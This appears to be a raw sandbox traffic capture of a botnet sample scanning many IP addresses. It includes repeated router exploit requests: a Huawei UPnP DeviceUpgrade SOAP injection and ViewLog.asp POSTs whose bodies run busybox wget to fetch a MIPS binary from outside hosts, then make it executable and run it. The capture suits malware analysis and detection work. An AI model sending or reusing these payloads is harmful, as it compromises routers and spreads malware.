Nov 23, 2023 05:17:59.846230030 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:20.326172113 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.13	52202	95.143.193.152	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:41.924123049 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.13	41236	95.217.165.175	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:41.930452108 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:42.128799915 CET	556	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:17:42 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 403 Forbiddenerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.13	39780	62.97.60.224	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:41.932157040 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:42.130345106 CET	589	IN	HTTP/1.1 404 Not Found Content-Type: text/html X-Frame-Options: SAMEORIGIN Content-Length: 341 Connection: close Date: Thu, 23 Nov 2023 05:17:26 GMT Server: lighttpd/1.4.55 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 Not Found</title> </head> <body> <h1>404 Not Found</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.13	59802	85.214.227.206	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:41.933163881 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:42.132504940 CET	1246	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 1007 Date: Thu, 23 Nov 2023 04:17:42 GMT Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 35 32 20 28 55 62 75 6e 74 75 29 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 35 32 20 28 55 62 75 6e 74 75 29 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Apache Tomcat/7.0.52 (Ubuntu) - Error report</title><style>...H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /cgi-bin/ViewLog.asp</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/cgi-bin/ViewLog.asp</u></p><p><b>description</b> <u>The requested resource is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/7.0.52 (Ubuntu)</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.13	60936	62.195.108.18	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:41.937495947 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.13	56804	94.121.74.34	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:41.953222990 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.13	35166	94.122.7.132	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:41.957237005 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.13	55252	95.38.234.174	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:42.021027088 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:42.317069054 CET	313	IN	HTTP/1.1 501 Not Implemented Connection: Keep-Alive Content-Length: 121 Date: Wed, 17 May 2023 10:25:45 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.13	56688	85.209.179.168	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:42.049978971 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.13	57762	94.121.140.141	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:42.156913042 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
